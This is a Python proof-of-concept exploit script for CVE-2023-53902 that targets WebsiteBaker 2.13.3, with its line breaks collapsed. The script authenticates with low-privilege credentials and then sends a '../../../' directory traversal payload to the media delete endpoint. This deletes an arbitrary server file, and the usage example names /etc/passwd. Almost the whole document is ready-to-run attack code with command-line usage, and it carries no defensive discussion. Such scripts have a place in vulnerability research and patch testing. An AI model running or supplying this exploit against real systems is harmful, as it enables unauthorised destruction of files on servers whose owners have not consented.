CVE-2023-53902

import requests import sys # CVE-2023-53902 PoC - WebsiteBaker Directory Traversal File Delete # Target: WebsiteBaker 2.13.3 # Endpoint: /admin/media/delete.php def exploit_cve_2023_53902(target_url, username, password, target_file): """ Exploit for CVE-2023-53902: WebsiteBaker Directory Traversal via media delete endpoint Args: target_url: Base URL of the vulnerable WebsiteBaker instance username: Valid low-privilege user credentials password: User password target_file: Absolute path of file to delete (e.g., /etc/passwd) Returns: bool: True if exploitation successful, False otherwise """ session = requests.Session() # Step 1: Login to obtain authenticated session login_url = f"{target_url}/admin/login/index.php" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Login failed with status code: {response.status_code}") return False print("[+] Successfully authenticated") # Step 2: Construct directory traversal payload # Convert absolute path to traversal sequence # Example: /etc/passwd -> ../../../etc/passwd traversal_path = "../../../" + target_file.lstrip("/") # Step 3: Send malicious delete request delete_url = f"{target_url}/admin/media/delete.php" params = { 'dir': traversal_path, 'file': target_file.split('/')[-1] } response = session.get(delete_url, params=params, timeout=10) # Step 4: Verify deletion if response.status_code == 200: print(f"[+] Potentially exploited: File deletion request sent") print(f"[+] Target file: {target_file}") print(f"[+] Traversal path used: {traversal_path}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False # Example usage if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve_2023_53902.py <target_url> <username> <password> <file_to_delete>") print("Example: python cve_2023_53902.py http://target.com admin password /etc/passwd") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] file_path = sys.argv[4] exploit_cve_2023_53902(target, user, pwd, file_path)

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